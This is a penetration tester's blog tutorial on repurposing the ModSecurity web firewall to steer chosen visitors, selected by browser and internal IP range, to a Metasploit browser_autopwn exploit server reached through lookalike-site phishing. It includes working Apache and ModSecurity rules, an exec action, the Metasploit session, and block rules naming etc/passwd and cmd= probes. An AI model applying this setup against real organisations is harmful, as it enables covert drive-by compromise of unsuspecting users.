Infiltrated dot Net

Improvised Cyber Exploitation Devices
Written by Jesus Oquendo   

Not too many security professionals want to write about offensive security. For whatever reasons they choose, I see many shy away from writing about attacks. When I do read articles, they are usually tailored for entry level "here run this cool outdated exploit against an unpatched machine! See, now you're hacking!" However, there are some seriously cool pros out there who I enjoy reading and learning from progressively. Rather than publicly posts lists and potentially corrupt those list, all I will say is: "If only you knew who I knew" while winking.

I decided to write about something I like best, obscure exploitation techniques. After seeing what was "on the market" I chose to offer some food for thought for the slightly above entry level professionals. Not too technical, yet not too simple, just right. My goal is to explain the use a of defensive tool for offensive purposes. In my example, I will use a fictitious company called Sample Company. Sample Company procured a penetration test to check their security posture on all levels, from the inside and out. The objective was to see what, if anything could leverage access into their infrastructure.

Many professional penetration testers are aware of the difficulties of "going at it" from the outside scope. With the rise of security incidents, companies have used all sorts of technologies to minimize the risk associated with being online. Where there once were dozens of remote exploits capable of obtaining a "foot in the door," those are now far and between and many have taken to client side attacks [1] to accomplish their goals. It is always easier to have a target connect back to you anyway. While the forward facing/outside attack vector is likely to be very low, the inside attack vector is almost always going to be gravy.

For my objective, I have many routes to choose from: loaded PDFs, loaded e-mails, I could e-mail a zero height, zero width embedded flash script using GETURL in the hopes someone with html enabled on say Outlook let me right through the gates. If the environment was more "contained" I could spend on a couple of netbooks with loaded covert DNS tunnels connecting right back to me. Great ideas, but still not that obscure and re-used "wares." My example will use ModSecurity, Apache and metasploit with mod_security being my weapon here. For those unfamiliar with it, ModSecurity is a defensive tool used with Apache server. From their website:

What exactly is ModSecurity?

ModSecurity™is an open source, free web application firewall (WAF) Apache module. With over 70% of all attacks now carried out over the web application level, organizations need all the help they can get in making their systems secure. WAFs are deployed to establish an external security layer that increases security, detects and prevents attacks before they reach web applications. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with little or no changes to existing infrastructure.

From my perspective: "ModSecurity is an open source free Apache module that can aid me in creating custom and precise Computer Network Attacks (CNA) and Computer Network Exploitation (CNE). It provides the capability to carve out targeted and effective against strikes against a target." For anyone who has used ModSecurity before, the comment going through one's mind is likely to be: "This guy is off his rocker."

My first step, download and install Apache and ModSecurity. This I still do the old fashioned way (./configure ; make ; make install ; make clean). After building Apache and ModSecurity, it's time to configure our first weapon:

<VirtualHost 10.20.30.20 10.10.10.20>
        ServerAdmin myself at me.com
        User apache
        Group apache
        DocumentRoot /mnt/2TB/websites/imaginarycompany.com
        ScriptAlias /cgi-bin /jail/local/apache/cgi-bin
        UserDir public_html
        ServerName www.imaginarycompany.com
        ErrorDocument 404 /fail.html
        ErrorDocument 403 http://www.imaginarycompany.com/fail.html
        RewriteEngine On
        RewriteCond %{REQUEST_METHOD} ^TRACE
        RewriteRule .* - [F]
        ServerAlias imaginarycompany.com
        CustomLog       /mnt/2TB/logs/access_log combined
        ErrorLog        /mnt/2TB/logs/error_log
        SSLEngine on
        SSLCertificateFile /jail/local/apache/conf/imgco.crt
        SSLCertificateKeyFile /jail/local/apache/conf/imgco.key
        <IfModule mod_security.c>

# My specific weaponized rules will go here

        </IfModule>
<Directory  /mnt/2TB/public_html/>
        Options All ExecCGI Includes Indexes FollowSymLinks
        AllowOverride AuthConfig FileInfo All
        Allow from all

</Directory>
</VirtualHost></code>

I need to make sure this configuration works so I will open some browsers and view this from at least 3 geographically different locations outside of my network. After I confirm the website is up and running, I move along to creating a separate weapon: a server running metasploit in the background located outside of my network. Because cloud computing and VPS' are cheap, I can host this piece anywhere in the world without direct connection back to me. This helps in the event I have to deal with an oddball security engineer who would try to stop me from performing my job - which as the SOW states: "Get in where ya fit in." My core set up is done and it is time to put ModSecurity to use.

ModSecurity contains plenty of rules to defend however, I need it to do the opposite. It should come as no surprise that ModSecurity is not an offensive tool. Far from it however, I am going to use it as a method to redirect my targets over to my Metasploit machine. There are some really cool things one can do with ModSecurity from the offensive front, for example, I like annoying script kiddies who annoy me with their persistent webscanners. To defend myself, I created rules to block them:

SecFilterSelective REQUEST_URI ".*;EXEC(@S)*" redirect:http://www.infiltrated.net/fail.html
SecFilterSelective REQUEST_URI ".*CHAR(4000)*" redirect:http://www.infiltrated.net/fail.html
SecFilterSelective REQUEST_URI ".*etc\/passwd*" redirect:http://www.infiltrated.net/fail.html
SecFilterSelective REQUEST_URI ".*self\/environ*" redirect:http://www.infiltrated.net/fail.html
SecFilterSelective ARGS  "$.cmd*=" redirect:http://www.infiltrated.net/fail.html

You can check out the output of these rules by visiting say: http://www.infiltrated.net/cmd=?cmd

With this same structure in place, I can cherry pick just about anything I choose and create an action based upon that. For example, if I didn't visitors who used older versions of Internet Explorer to visit me, perhaps my page rendered horribly, I could send them to update Windows. They would never be able to visit until they did or unless they viewed a Google cached page:

SecRule REQUEST_HEADERS:User-Agent "MSIE 6.0" redirect:http://windowsupdate.microsoft.com/

Precision Targeting CNA and CNE if you ask me. I can also chain specifics for example:

SecRule REQUEST_HEADERS:User-Agent "MSIE 6.0" chain
SecFilterSelective REMOTE_ADDR "^10\.100\.200\.*$" redirect:http://windowsupdate.microsoft.com/

In this instance, anyone using older versions of Internet Explorer coming FROM 10.100.200.* would be redirected while anyone else would pass right along. Did the "a-ha" hit you yet? Because I control who sees what when they visit my site, the potential to create a specific attack is enormous. I can create custom payloads for specific operating systems, browsers, networks and so on. I can also execute commands directly from ModSecurity, for example:

SecRule REQUEST_HEADERS:User-Agent "MSIE 6.0" chain
SecFilterSelective REMOTE_ADDR "^10\.100\.200\.*$" chain 
SecFilterDefaultAction "pass,exec: /path/to/my/command/targetting-MSIE-6.0"

Which means I can fire off precision attacks not only from my ModSecurity install, but I can create customized "exploit cocktails" however, executing directly from this server is a red-flag. Besides, that is what the metasploit server is for. So we have established that I can pretty much do whatever I would like using ModSecurity. I can script different rules for different times of the day, different exploits for different hosts inside of a network and the list goes on.

For my initial example, I decided to use metasploit's browser_autopwn module. From the introduction of that module: "Using Guided Missiles in Drivebys" to my re-wording: "Trigger Based ICEDs" (Improvised Cyber Exploitation Device). Sky is definitely the limit from the cyberwarfare front had I the need to cobble together geographically significant ICEDs wouldn't you think? With these explanations out of the way, I now create my ModSecurity rule for this project of mine:

On the metasploit server:

       =[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 691 exploits - 359 auxiliary - 39 post
+ -- --=[ 222 payloads - 27 encoders - 8 nops
       =[ svn r12732 updated today (2011.05.26)

msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > set LHOST 172.17.18.19
LHOST => 172.17.18.19
msf auxiliary(browser_autopwn) > set SRVPORT 8081
SRVPORT => 8081
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > run

+ -- --=[ SANITIZED OUTPUT

[*] --- Done, found 19 exploit modules

[*] Using URL: http://0.0.0.0:8081/
[*]  Local IP: http://172.17.18.19:8081/
[*] Server started.
msf auxiliary(browser_autopwn) >

Mind you, the rest of the world would not be affected if they accidentally stumbled upon my fictitious site as ModSecurity is acting as my semi-active radar homing (SARH) [5] device, in this case, a semi-active cyber homing (SACH). Now its a matter of getting someone in that company to visit me. For this I could use a variety of social engineering attacks. I could use sites like LinkedIn, Mantra, Facebook to carve out potential partners, friends, vendors and so on. Create a mirror of that site, register something similar to what I discover, shoot off an e-mail and I'm done.

 

 

Game over. The client's security failed from the inside out. Although they may have in place nifty firewalls, IDS systems, IPS systems, etc., the fact is, the client's security approach is flawed. You can block in as much as you want but if you're not proactive on what is leaving your network, you will continue to fail. Remember, because of the beauty of the "interwebs," I can also program redirects that would can triggered inside of iFrame loaded pages, loaded PDFs, zero height and width flash files and so on, all the while my attacks would be completely transparent to the normal surfer maybe even above average computer user.

 

Panic Button



[1] http://www.honeynet.org/node/157
[2] http://www.modsecurity.org/
[3] http://httpd.apache.org/
[4] http://www.metasploit.com/
[5] http://en.wikipedia.org/wiki/Semi-active_radar_homing